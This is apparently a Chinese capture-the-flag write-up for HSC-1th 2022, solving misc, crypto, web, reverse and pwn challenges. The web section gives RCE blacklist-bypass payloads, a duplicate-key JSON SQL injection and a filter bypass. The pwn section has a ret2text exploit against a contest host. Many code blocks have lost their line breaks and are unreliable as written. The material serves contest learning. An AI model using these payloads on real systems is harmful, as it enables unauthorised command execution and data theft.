本届HSC1th 2022是由社会战队红客突击队(Honker Security Commando)举办。 本次比赛将采用在线网络安全夺旗挑战赛的形式,涵盖web,crypto,misc,re等主流方向,并面向全球开放。比赛三甲可获突击队周边礼品。

Rank: 2


MISC

Sign-in

前往红客突击队公众号发送“HSC2019”并签到吧!

公众号签到。

flag{HSC_W3LC0M3}

DORAEMON

zip压缩包注释 哆啦A梦把泡好的QR放进口袋后,用六位数字把自己放好了。你能找到它吗?,爆破得到密码 376852

得到png图片用16进制修改器修改高度,得到缺少两个定位图案的二维码;

修复上方两个定位图案,扫描得flag:flag{sing1emak3r10v3m!sc}

汝闻,人言否

png文件后存在zip压缩包,提取后在16进制查看器下修复压缩包,将两处 4B 50 修改为 50 4B

发现zip压缩包加密,注释 qazsedcftrfvgycft6yhntgbnytfvbhyik,.;p 为键盘密码,在键盘上画出六个字母 WVALOU 为解压密码,得到 flag 文件,16进制查看发现为wav文件结构;

使用audacity查看wav文件,在频谱图发现flag:flag:e5353bb7b57578bd4da1c898a8e2d767

PERFORMANCE-ART

两种图形替换密码的混合,其中一种为标准银河字母(Standard Galactic Alphabet),猜测另一种代表数字,根据形状和出现概率,猜测出前几位 504B0304140000000,为zip压缩包文件头。

依次还原所有字符:

504b03041400000008004a7e7253148e1e
1e160000001400000006000000756e6b6e6
f778bcaadc888322ec9f30b752df70c
cfae8cca72b30400504b01021f0014000
00008004a7e7253148e1e1e16000000140
000000600240000000000000020000000000
00000756e6b6e6f770a002000000000000
1001800778284ef50dcd7016b04efef5
0dcd701e1b0ef144fdcd701504b05060
000000001000100580000003a0000000000

保存为zip文件,打开得到内容 ZmxhZ3tnNUEwIWkyZjF9,base64解码得flag:flag{g5A0!i2f1}

WIRESHARK

zip压缩包后存在png图片,提取后使用zsteg查看LSB隐写,在 b1,rgb,lsb,xy 通道隐写了一张png图片,提取:

zsteg -E "b1,rgb,lsb,xy" Untitled1.png > out.png

是一张二维码,扫描得到内容 wrsak..iehr370,栅栏解密 wireshark3.7.0

解压最开始的zip压缩包得到 wireshark,16进制查看发现为pdf文件结构,文件头被修改过,还原为 %PDF25 50 44 46)正常打开,内容无有用信息,猜想为PDF隐写;

使用wbStego工具从pdf文件成功提取出flag:flag{Go0dJ0B_y0ufIndLt}

PCXP

百度网盘https://pan.baidu.com/s/12q5ULEp_RD62MwbV5eE11A 提取码:1qih

奶牛快传https://cowtransfer.com/s/b76470ddc9e04a

蓝奏云https://wwo.lanzouy.com/b030r1x4j 密码:cvi0

本题目文件PCXP1与PCXP2均需要下载!

本题文件中flag{raw_Imfig3_mLs3}属于干扰项

两个dump内存的raw文件,用volatility分析。

其中一个发现 ffflaaagggg.rar 文件:

0x000000000227db70 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\ffflaaagggg.rar

根据提示,另一个发现 mirror.rar 文件:

0x00000000021221e0 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\mirror.rar

分别dumpfiles,按注释key:mirror 解压 mirror.rar,提取 mirror.png,发现后半部分有反转的png,reverse处理得到png内有密码 HSC-1th202248H

用密码解压 ffflaaagggg.rar,得到 secret.pcap,用tshark提取USB流量无结果;

查看16进制发现存在PNG文件头,用foremost提取出两张png图片,画面相同大小不同,猜测为盲水印隐写;

使用BlindWaterMark工具提取:

python3 bwmforpy3.py decode 00000030.png 00000094.png out.png

得到flag:flag{Wat3rMarkPtysc}

CRYPTO

Easy SignIn

5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A4E524564565646644D515670455130354C5755644F5231685256314A5452315A5552304E57576C5A49525430395054303950513D3D

ciphey一把梭,flag:flag{welc0me_to_my_s1gn_in}

AFFINE

flag{md5(result)}

# -*- coding: utf-8 -*-
import string
import hashlibletter=string.ascii_letters+string.digitsdef encrypt(m, c, a, b):for i in range(len(m)):ch=m[i]t=(letter.index(ch) * a + b) % 62c.append(letter[t])d = ''.join(c)print(d)m =
c = []
a =
b = assert ("flag" in m)print("加密后的密文为:")
Cipher = encrypt(m, c, a, b)
flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
#print(flag)
"""
加密后的密文为:
xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv
"""

仿射密码加密,先根据密文和明文,爆破各位置存在 flag 字符串情况下对应的 a,b 值,再解密整串密文。

爆破求 a,b

import string
import hashlibletter=string.ascii_letters+string.digitsdef encrypt(m, a, b):c = []for i in range(len(m)):ch=m[i]t=(letter.index(ch) * a + b) % 62c.append(letter[t])d = ''.join(c)return ds='xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv'
for a in range(50):for b in range(50):Cipher = encrypt('flag', a, b)for k in range(len(s)-3):if Cipher==s[k:k+4]:print(Cipher,a,b)
# korv 11 17

解密:

a=11
b=17def decrypt(m, a, b):import gmpy2c = []for i in range(len(m)):ch=m[i]t=((letter.index(ch) - b) * gmpy2.invert(a,62)) % 62c.append(letter[t])d = ''.join(c)return dm=decrypt(s, a, b)
print(m)
flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
print(flag)
# Oh62Affine1sSti1lN0tSecureEnoughToProtectflag
# 2b9b99caae1cc49e5b5aacbc8cc22350

flag:flag{2b9b99caae1cc49e5b5aacbc8cc22350}

LINE-GENERATION-TEST

“Sorry, Tazmi, I can’t hold you in my arms anymore” Who said that? flag{md5(result)}

根据 enc 结果,猜测为 mod26\mod 26mod26 下的矩阵运算,值对应字母序,简单用z3解:

from z3 import *f=[Int(f'f{i}') for i in range(5)]
out=[9,23,0,13,19]ss=Solver()ss.add((f[0]+f[1])%26==out[0])
ss.add((f[1]+f[4])%26==out[1])
ss.add((f[2]+f[3]+f[4])%26==out[2])
ss.add((f[1]+f[2]+f[3])%26==out[3])
ss.add((f[3])%26==out[4])for i in range(5):ss.add(f[i]>=0)ss.add(f[i]<26)ss.check()
m=ss.model()
print(m)
res=''
for i in range(5):res+=chr(m[f[i]].as_long()+ord('A'))print(res)
# RSCTF

MD5,得flag:flag{e4163deba70420c58acb87abcab34141}

LATTICE

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
from gmpy2 import *flag = b'flag{******}'.strip(b'flag{').strip(b'}')
_length = len(flag)
f1, f2, f3 = [flag[_*_length//3:(_+1)*_length//3] for _ in range(3)]e = 0x10001# part1
m1 = bytes_to_long(f1)
p1 = getPrime(1024)
q1 = getPrime(1024)
n1 = p1 * q1
phi1 = n1 - p1 - q1 + 1
c1 = pow(m1, e, n1)
e1 = invert(getPrime(730), phi1)
e2 = invert(getPrime(730), phi1)
print(f"c1={c1}")
print(f"n1={n1}")
print(f"e1, e2={e1}, {e2}")
# c1=...
# n1=...
# e1, e2=...# part2
m2 = bytes_to_long(f2)
p2 = getPrime(1024)
q2 = getPrime(1024)
n2 = p2 * q2
phi2 = n2 - p2 - q2 + 1
c2 = pow(m2, e, n2)
e1 = invert(getPrime(818), phi2)
e2 = invert(getPrime(818), phi2)
e3 = invert(getPrime(818), phi2)
print(f"c2={c2}")
print(f"n2={n2}")
print(f"e1, e2, e3={e1}, {e2}, {e3}")
# c2=...
# n2=...
# e1, e2, e3=...# part3
m3 = bytes_to_long(f3)
nl = []
cl = []
el = []
d = getPrime(890)
for _ in range(7):p3 = getPrime(1024)q3 = getPrime(1024)n3 = p3 * q3phi3 = n3 - p3 - q3 + 1e3 = invert(d, phi3)c3 = pow(m3, e3, n3)nl.append(n3)el.append(int(e3))cl.append(int(c3))
print(f"nl={nl}")
print(f"el={el}")
print(f"cl={cl}")
# nl=[...]
# el=[...]
# cl=[...]

RSA的两种涉及格的LLL算法的攻击情形(多组低解密指数攻击+共私钥指数攻击)。

Part1,2组 eee 的低解密指数攻击:

# Sage
import gmpy2
N =
e1 =
e2 =
c =
for i in range(1000):alpha2 = i/1000M1 = int(gmpy2.mpz(N)**0.5)M2 = int( gmpy2.mpz(N)**(1+alpha2) )D = diagonal_matrix(ZZ, [N, M1, M2, 1])B = Matrix(ZZ, [ [1, -N,   0,  N**2],[0, e1, -e1, -e1*N],[0,  0,  e2, -e2*N],[0,  0,   0, e1*e2] ]) * DL = B.LLL()v = Matrix(ZZ, L[0])x = v * B**(-1)phi = (x[0,1]/x[0,0]*e1).floor()try:d = inverse_mod(65537, phi)m = bytes.fromhex(hex(power_mod(c, d, N))[2:])if len(m)<20:print(m)breakexcept:pass
# b'89c63fd5-00c'

Part2,3组 eee 的低解密指数攻击:

# Sage
import gmpy2
N =
e1 =
e2 =
e3 =
c =
for i in range(1000):alpha2 = i/1000M1 = int(gmpy2.mpz(N)**(3./2))M2 = int( gmpy2.mpz(N) )M3 = int(gmpy2.mpz(N)**(3./2 + alpha2))M4 = int( gmpy2.mpz(N)**(0.5) )M5 = int( gmpy2.mpz(N)**(3./2 + alpha2) )M6 = int( gmpy2.mpz(N)**(1.+alpha2) )M7 = int( gmpy2.mpz(N)**(1.+alpha2) )D = diagonal_matrix(ZZ, [M1, M2, M3, M4, M5, M6, M7, 1])B = Matrix(ZZ, [ [1, -N,   0,  N**2,   0,      0,      0,    -N**3],[0, e1, -e1, -e1*N, -e1,      0,   e1*N,  e1*N**2],[0,  0,  e2, -e2*N,   0,   e2*N,      0,  e2*N**2],[0,  0,   0, e1*e2,   0, -e1*e2, -e1*e2, -e1*e2*N],[0,  0,   0,     0,  e3,  -e3*N,  -e3*N,  e3*N**2],[0,  0,   0,     0,   0,  e1*e3,      0, -e1*e3*N],[0,  0,   0,     0,   0,      0,  e2*e3, -e2*e3*N],[0,  0,   0,     0,   0,      0,      0, e1*e2*e3] ]) * DL = B.LLL()v = Matrix(ZZ, L[0])x = v * B**(-1)phi_ = (e1*x[0,1]/x[0,0]).floor()try:d = inverse_mod(65537, phi_)m = hex(power_mod(c, d, N))[2:]m = bytes.fromhex(hex(power_mod(c, d, N))[2:])if len(m)<20:print(m)breakexcept:pass
# b'f-4ae0-b369-'

Part3,共私钥指数 ddd 攻击:

from gmpy2 import *
nl=[...]
el=[...]
cl=[...]
ind=[]
nl_s=sorted(nl)
for i in range(7):ind.append(nl.index(nl_s[i]))
print(ind)
e=[]
n=[]
c=[]
for i in range(7):e.append(el[ind[i]])n.append(nl[ind[i]])c.append(cl[ind[i]])M=iroot(int(n[6]),int(2))[0]
a=[0]*8
a[0]=[M,e[0],e[1],e[2],e[3],e[4],e[5],e[6]]
a[1]=[0,-n[0],0,0,0,0,0,0]
a[2]=[0,0,-n[1],0,0,0,0,0]
a[3]=[0,0,0,-n[2],0,0,0,0]
a[4]=[0,0,0,0,-n[3],0,0,0]
a[5]=[0,0,0,0,0,-n[4],0,0]
a[6]=[0,0,0,0,0,0,-n[5],0]
a[7]=[0,0,0,0,0,0,0,-n[6]]Mat = matrix(ZZ,a)
Mat_LLL=Mat.LLL()
d = abs(Mat_LLL[0][0])//M
print(d)
print(bytes.fromhex(hex(pow(c[6],int(d),int(n[6])))[2:]))
# b'5a3d94a20a2c'

连接得flag:flag{89c63fd5-00cf-4ae0-b369-5a3d94a20a2c}

RSA

flag{md5(result)}

import gmpy2
import sympy
from Crypto.Util.number import *flag = b'????'z=getPrime(1024)
p=sympy.nextprime(z)
q=sympy.prevprime(10*z)
n=p*qm=bytes_to_long(flag)
e=0xe18e
c=pow(m,e,n)print("n=",n)
print("c=",c)#n= ...
#c= ...

费马分解RSA,发现 gcd⁡(e,φ(n))=2\gcd(e,\varphi(n))=2gcd(e,φ(n))=2,令 e′=e2,m′=m2e'=\frac{e}{2},m'=m^2e′=2e​,m′=m2,

先求出 m′m'm′,再利用Rabin算法求 mmm。

n =
c =
e = 0xe18e
import gmpy2
p = gmpy2.iroot(n//10,2)[0]
while 1:p = gmpy2.next_prime(p)if n%p==0:break
q = n//p
f = (p-1)*(q-1)
d = gmpy2.invert(e//2,f)
mm = pow(c,d,n)
print(mm)def rabin_decrypt(c, p, q, e=2):n = p * qmp = pow(c, (p + 1) // 4, p)mq = pow(c, (q + 1) // 4, q)yp = gmpy2.invert(p, q)yq = gmpy2.invert(q, p)r = (yp * p * mq + yq * q * mp) % nrr = n - rs = (yp * p * mq - yq * q * mp) % nss = n - sreturn (r, rr, s, ss)m = rabin_decrypt(mm,p,q)
for i in range(4):try:print(bytes.fromhex(hex(m[i])[2:]))except:pass
# b'flag{6d22773623d3d5c871692e9985de5f16}'

BABY-RSA

from Crypto.Util.number import *def lfsr(status,mask):out = (status << 1) & 0xffffffffi=(status&mask)&0xfffffffflastbit=0while i!=0:lastbit^=(i&1)i=i>>1out^=lastbit return (out,lastbit)status= 1
mask = 0b10110001110010011100100010110101num = bytes_to_long(m)p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537hp = bin(p)[2:]
c = pow(num, e, n)print("n=",n)
print("c=",c)f=open("key","w+",encoding='utf-8')
for i in range(568):curnum = int(hp[i])(status,out)=lfsr(status,mask)f.write(str(curnum ^ out))
f.close()'''
n= ...
c= ...
'''
'''
key:
0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010
'''

RSA ppp 高位泄露攻击+LFSR。

先用LFSR结果异或还原 ppp 高位 hphphp:

def lfsr(status,mask):out = (status << 1) & 0xffffffffi=(status&mask)&0xfffffffflastbit=0while i!=0:lastbit^=(i&1)i=i>>1out^=lastbit return (out,lastbit)status= 1
mask = 0b10110001110010011100100010110101c = list('0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010')
c=[int(k) for k in c]hp = ''
for i in range(568):(status,out) = lfsr(status,mask)hp += str(c[i]^out)hp = int(hp, 2)
print(hp)
# 484896331241166236766986322307256381427323829969266475890843705533431739217993785274442520213477613786483789873490025705365184544110819157393140954140256890174240795425112

此时 hphphp 有568位,根据Coppersmith定理,1024位的 ppp 至少需要高576位才能恢复完整 ppp,需爆破8位二进制位:

# Sage
n = 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
hp = 484896331241166236766986322307256381427323829969266475890843705533431739217993785274442520213477613786483789873490025705365184544110819157393140954140256890174240795425112import string
dic = string.digits + "abcdef"for a in dic:for b in dic:pp = hex(hp) + a + b#p需要用0补全到1024位pp += '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'#要加的数字与补全p时0的个数有关pp = int(pp, 16)p_fake = pp+0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000pbits = 1024kbits = pbits-576pbar = p_fake & (2^pbits-2^kbits)#print("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits))PR.<x> = PolynomialRing(Zmod(n))f = x + pbartry:x0 = f.small_roots(X=2^kbits, beta=0.4)[0]  # find root < 2^kbits with factor >= n^0.4print(x0 + pbar)except:pass
# 90225006288627020933267024425797647042965554486273674145474629022335483579168020321334177600624475358419458781387021577078957978886555066264514364951229871833611713144617155837023313756741716041993159155093522769416742461683810041045361926334946115547487234272520914249496954864904467634471167509689549908477

最后常规RSA:

p = 90225006288627020933267024425797647042965554486273674145474629022335483579168020321334177600624475358419458781387021577078957978886555066264514364951229871833611713144617155837023313756741716041993159155093522769416742461683810041045361926334946115547487234272520914249496954864904467634471167509689549908477
n = 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
c = 3641304537029815746727163894554557322382012539953948183406308231174259571263608621970973671202001456955622458371303424750815017578104069924877881162707673935496925529412748663209884628320657034190702348924814794263041483260377960569530869386619921425415323912964305979776909598200202236912823968867485696101691879580799000240715778010424877093758489309380968229017074542588151574195295436881889313935734282141447498134543053106463951864974512375314091440713165047188590693431938599822340588934591712592995622334522799914563528630705687647950894928965913199772209825508001274120556508220248069647851360567609656517789
q = n//p
e = 0x10001
import gmpy2
f = (p-1)*(q-1)
d = gmpy2.invert(e,f)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))
# b'flag{fbbce1e3aa690ebb49039241f940ed26}'

WEB

CLICK

查看源码,找到 main.js,发现 ZmxhZ3thNTNlMTgzOC01OTczLTRlY2MtOWFjMC00ODZlOTA0NThhMTl9Cg==,base64解码得flag。

Web-sign in

提示robots协议,访问 robots.txt,发现存在 fiag_ls_h3re.php

访问发现右键被禁用,加前缀 view-source: 查看源码得flag。

EXEC

<?php
error_reporting(0);
if(isset($_REQUEST["cmd"])){$shell = $_REQUEST["cmd"];$shell = str_ireplace(" ","",$shell);$shell = str_ireplace("\n","",$shell);$shell = str_ireplace("\t","",$shell);$shell = str_ireplace("?","",$shell);$shell = str_ireplace("*","",$shell);$shell = str_ireplace("<","",$shell);$shell = str_ireplace("system","",$shell);$shell = str_ireplace("passthru","",$shell);$shell = str_ireplace("ob_start","",$shell);$shell = str_ireplace("getenv","",$shell);$shell = str_ireplace("putenv","",$shell);$shell = str_ireplace("mail","",$shell);$shell = str_ireplace("error_log","",$shell);$shell = str_ireplace("`","",$shell);$shell = str_ireplace("exec","",$shell);$shell = str_ireplace("shell_exec","",$shell);$shell = str_ireplace("echo","",$shell);$shell = str_ireplace("cat","",$shell);$shell = str_ireplace("ls","",$shell);$shell = str_ireplace("nl","",$shell);$shell = str_ireplace("tac","",$shell);$shell = str_ireplace("bash","",$shell);$shell = str_ireplace("sh","",$shell);$shell = str_ireplace("tcp","",$shell);$shell = str_ireplace("base64","",$shell);$shell = str_ireplace("flag","",$shell);$shell = str_ireplace("cp","",$shell);exec($shell);
}else{highlight_file(__FILE__);
}

带黑名单的无回显RCE,可以重定向写命令执行结果到文件,关键字可双写绕过,空格用$IFS绕过。

列目录:?cmd=llss$IFS/>1.txt,得到根目录flag文件名 ctf_is_fun_flag2021

读文件:?cmd=uniq$IFS/ctf_is_fun_flflagag2021>1.txt,得到flag。

Language

源码里有python和go两个文件夹,有两个服务,端口8000是python开的,映射到对外端口;内网端口5000是go服务。python代码相当于中转站接受外网请求,处理后转发给go,go进行底层处理。

go服务中关键代码 backend.go

package controllerimport (db "ctf/database""encoding/json""fmt""github.com/buger/jsonparser""io/ioutil""net/http"
)type Language struct {Id  int32  `json:"id"`Name string `json:"name"`Votes int64 `json:"votes"`
}func Index(w http.ResponseWriter, _ *http.Request) {ok(w, "Hello World!")
}func List(w http.ResponseWriter, _ *http.Request) {rows, err := db.Sqlite.Query("SELECT * FROM languages;")if err != nil {fail(w, "Something wrong")fmt.Println(err.Error())return}defer rows.Close()res := make([]Language, 0)for rows.Next() {var pl Language_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)res = append(res, pl)}err = json.NewEncoder(w).Encode(res)
}func Search(w http.ResponseWriter, r *http.Request) {reqBody, _ := ioutil.ReadAll(r.Body)votes, err := jsonparser.GetInt(reqBody, "votes")if err != nil {fail(w, "Error reading votes")return}name, err := jsonparser.GetString(reqBody, "name")if err != nil {fail(w, "Error reading name")return}query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)rows, err := db.Sqlite.Query(query)if err != nil {fail(w, "Something wrong")fmt.Println(err.Error())return}res := make([]Language, 0)for rows.Next() {var pl Language_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)res = append(res, pl)}err = json.NewEncoder(w).Encode(res)
}func Flag(w http.ResponseWriter, r *http.Request ) {action:= r.URL.Query().Get("action")if action == "" {fail(w, "Error getting action")return}token:= r.URL.Query().Get("token")if token == "" {fail(w, "Error getting token")return}var secret stringrow := db.Sqlite.QueryRow("SELECT secret FROM token;")if err := row.Scan(&secret); err != nil {fail(w, "Error querying secret token")return}if action == "readFlag" && secret == token {data, err := ioutil.ReadFile("flag")if err != nil {fail(w, "Error reading flag")return}ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))return}ok(w, "Wrong token")
}

路由 /flag 中GET两个参数 ?action=readFlag&token=xxxxx,token正确得flag,而路由 /search 中容易通过SQL注入拿到token。

python服务中 app.py

from flask import Flask, request, render_template, jsonify
from urllib.parse import unquote
import requestsapp = Flask(__name__)server = '127.0.0.1:8000'@app.route("/", methods=["GET"])
def index():return render_template("index.html")@app.route("/list", methods=["POST"])
def listAll():r = requests.post(f"http://{server}/api/list")return jsonify(r.json())@app.route("/search", methods=["GET", "POST"])
def search():if request.method == "GET":return render_template("search.html")else:data = request.jsonif data['name']:if not isinstance(data['name'], str) or not data['name'].isalnum():return jsonify({"error": "Bad word detected"})if data['votes']:if not isinstance(data['votes'], int):return jsonify({"error": "Bad word detected"})r = requests.post(f"http://{server}/api/search", data=request.data)return jsonify(r.json())@app.route("/healthcheck", methods=["GET"])
def healthCheck():getPath = ["", "flag"]postPath = ["api/list", "api/search"]try:for path in getPath:requests.get(f"http://{server}/{path}")for path in postPath:requests.post(f"http://{server}/{path}")except:return "Down"return "OK"@app.route("/<path:path>", methods=["GET"])
def handle(path):if 'flag' in unquote(path):action = request.args.get('action')token = request.args.get('token')print(action)if action == "readFlag":return jsonify({"error": "Sorry, readFlag is not permitted"})r = requests.get(f"http://{server}/{path}", params={"action": action,"token": token})else:r = requests.get(f"http://{server}/{path}")return jsonify(r.text)if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)

发现其中存在两个点需要绕过:

  1. 路由 /search 中JSON严格过滤,name 的值必须满足 isalnum()votes 的值必须为数字,避免SQL注入情况;
  2. 检测url里使用GET方法传入 action=readFlag 会直接拒绝。

对于第1点,尝试构造含两个 name 参数的JSON,在python中认JSON中第二个 name,而go中认JSON中第一个 name,利用这种差异构造:{"votes":1,"name":"-1' union select 1,secret,3 from token --+","name":[]},绕过得到token值,得到 re@l1y_4th_T0k3n

对于第2点,利用 @app.route("/<path:path>") 特性,对 ? 进行url编码可以在python层面绕过GET参数识别,即 action = request.args.get('action') 不会获取到内容,payload:/flag%3faction=readFlag&token=re@l1y_4th_T0k3n

得到flag:"{\"msg\":\"Congrats this is your flag: flag{73c468d2-582e-4fdf-8be9-72efe6cbb9a2}\\n\"}\n"

REVERSE

hiahia o(*^▽^*)┛

IDA查看伪码,无逆向,照着实现就行:

s=list(b'igdb~Mumu@p&>%;%<$<p')def flag(c,k):if k>9:if k&1==0:return c-11else:return c+13else:if k&1==0:return c-3else:return c+5
t=''
for i in range(len(s)):t+=chr(flag(s[i],i))
print(t)
# flag{RrrrEe33202111}

ANDROID

jadx查看MainActivity主逻辑:

public void onClick(View view) {String trim = this.input.getText().toString().trim();int[] iArr = {102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42};int[] iArr2 = {42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42};if (trim.length() != 18) {this.input.setText("FLAG错误");return;}char[] charArray = trim.toCharArray();for (int i = 0; i < 17; i++) {iArr2[i] = i % 2 == 0 ? charArray[i] ^ i : charArray[i] ^ charArray[i + 1];}String str = "";for (int i2 = 0; i2 < 18; i2++) {str = str.concat(Integer.toHexString(iArr2[i2])).concat(",");}System.out.println(str);for (int i3 = 0; i3 < 18; i3++) {if (iArr2[i3] != iArr[i3]) {this.input.setText("FLAG错误!");return;}}this.input.setText("FLAG正确");
}

用z3解:

from z3 import *flag=[BitVec(f'flag{i}',7) for i in range(18)]
out=[102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42]s=[42]*19
ss=Solver()for i in range(17):if i%2==0:s[i]=flag[i]^ielse:s[i]=flag[i]^flag[i+1]for i in range(18):ss.add(s[i]==out[i])ss.check()
m=ss.model()
res=''
for i in range(17):res+=(chr(m[flag[i]].as_long()))print(res)
# flag{Reverse__APP

加花括号闭合,得到flag:flag{Reverse__APP}

WAY

flag{md5(result)}

检测带upx壳,脱壳后IDA查看伪码,迷宫题,wsad代表上下左右,提取迷宫数组得:

OIIII
OOIO#
IOOOI
IOIOI
IIIII

容易得到路径:sdsddwd,MD5得到flag:flag{6654b3343f6f3f6223a721e7f65e87f8}

SPARK

Sparc架构,IDA无法反编译为伪码,用Ghidra得到伪码主逻辑:

undefined8 main(void){longlong unaff_g7;int local_res7d3;undefined8 local_res7d7;undefined8 local_res7df;undefined8 local_res7e7;undefined8 local_res7ef;longlong local_res7f7;local_res7f7 = *(longlong *)(unaff_g7 + 0x28);local_res7d7 = 0;local_res7df = 0;local_res7e7 = 0x37463f3044413243;local_res7ef = 0x3429000000000000;puts("input_sparkle_flag_here:\n");read(0,&local_res7d7,0xc);local_res7d3 = 0;do {if (9 < local_res7d3) {puts("good_job!");
LAB_001008a0:if (local_res7f7 == *(longlong *)(unaff_g7 + 0x28)) {return 0;}/* WARNING: Subroutine does not return */__stack_chk_fail();}*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) =*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) + -0x2f;if (*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) !=*(char *)((longlong)&local_res7e7 + (longlong)local_res7d3)) {puts("incorrect\n");goto LAB_001008a0;}local_res7d3 = local_res7d3 + 1;} while( true );
}

逻辑为输入flag值逐字符 -0x2f 得到的字符串与 0x37463f30444132433429 相等,即ROT47。

简单还原得flag:flag{fun_sparcX}

PWN

Ez_pwn

简单ret2text:

from pwn import *
r = remote('hsc2019.site',10891)
r.recvline()
pl = 'a'*0x48 + p64(0x400741)
r.sendline(pl)
r.interactive()

HSC-1th 2022 Writeup相关推荐

  1. t-star腾讯安全高校挑战赛2022 writeup

    文章目录 t-star writeup 赛题一 赛题二 赛题三 赛题四 赛题五 赛题六 参考 t-star writeup 赛题一 一个简单的验证码绕过,在包里,抓一下就可以登陆进后台了 在进入后台后 ...

  2. 祥云杯2022 writeup

    0x01 web 1.ezjava 下载源码对jar文件进行反编译,发现POST /myTest会出现反序列化漏洞 util ,最后好像没用到 检查程序,发现apache的common−collect ...

  3. Hackergame 2022 Writeup(来自一位啥都不会的萌新)

    第一次写writeup有不足之处请见谅( 目录 签到 猫咪问答喵 家目录里的秘密 HeiLang Xcaptcha 旅行照片 2.0 线路板 量子藏宝图 企鹅拼盘 签到 众所周知,签到题是一道手速题. ...

  4. NISACTF 2022 writeup

    周末两天的比赛 WEB(11/12).PWN(5/6).Reverse(3/6).Crypto(3/7).Misc(8/12) WEB没有AK还是略有遗憾,到后面实在做不动了. 第一次写这么长的WP- ...

  5. [Hack The Boo CTF 2022] writeup

    一个外国简单比赛,好多人队都答了25题,由于web不会,misc不熟,作了misc3,crypto4,pwn5,rev5不过有的找不到了,慢慢找. misc Wrong Spooky Season 附 ...

  6. HGAME 2022 Writeup

    文章目录 Level - Week1 WEB easy_auth 蛛蛛-嘿嘿?我的蛛蛛 Tetris plus Fujiwara Tofu Shop MISC 欢迎欢迎!热烈欢迎! 这个压缩包有点麻烦 ...

  7. Arab Security Cyber Wargames 2022 Qualifications corCTF 部分题解

    文章目录 ASCWQ 2022 Crypto Rsa In The Wild OSP Misc Weird FS corCTF 2022 Crypto tadpole luckyguess excha ...

  8. 深度优先搜索广度优先搜索

    1 概述 算法是作用于具体的数据结构之上的,深度优先搜索算法和广度优先搜索算法都是基于图这种数据结构的.主要原因是因为图的这种数据结构表达能力很强,大部分涉及搜索的场景都可以抽象成图. 图上的搜索算法 ...

  9. 【2022 网鼎杯】青龙组 crypto WriteUp

    2022 网鼎杯 青龙组 crypto WriteUp crypto091 crypto405 crypto162 文章目录 crypto091 crypto405 crypto162 crypto0 ...

  10. 【ByteCTF 2022】Crypto Writeup

    ByteCTF 2022 密码 Crypto writeup Choose_U_flag Compare Card Shark 文章目录 1. Choose_U_flag 题目分析 初始化参数 加密过 ...

最新文章

  1. 新颖的自我介绍_简短有创意的自我介绍
  2. 在Global Object Services (GOS) 中加入自定义项目
  3. Python中使用pip安装库时提示:远程主机强迫关闭了一个现有的连接
  4. android 支付宝和微信支付封装,Android支付宝和微信支付集成
  5. 如何在SAP云平台ABAP编程环境里创建自己的Z表
  6. c语言整形除法是五舍六入吗,四舍六入五成双 - C/C++论坛 - 51CTO技术论坛_中国领先的IT技术社区...
  7. 苹果要做第一个吃螃蟹的人!将率先尝试台积电5nm工艺
  8. 【python】日志模块以及日志组件使用
  9. 简单的PL/SQl链接远程ORACLE数据库方法
  10. php版本栈的应用中缀表达式求值
  11. 【渝粤教育】国家开放大学2018年春季 7406-22T金融统计分析 参考试题
  12. 直线方程求x坐标c语言,已知两点坐标,求直线方程、距离其中一点距离为L的某点...
  13. MATLAB中前馈+反馈系统搭建-基于matlab控制系统工具箱
  14. C++入侵电脑远程控制,体验一把做黑客的感觉!
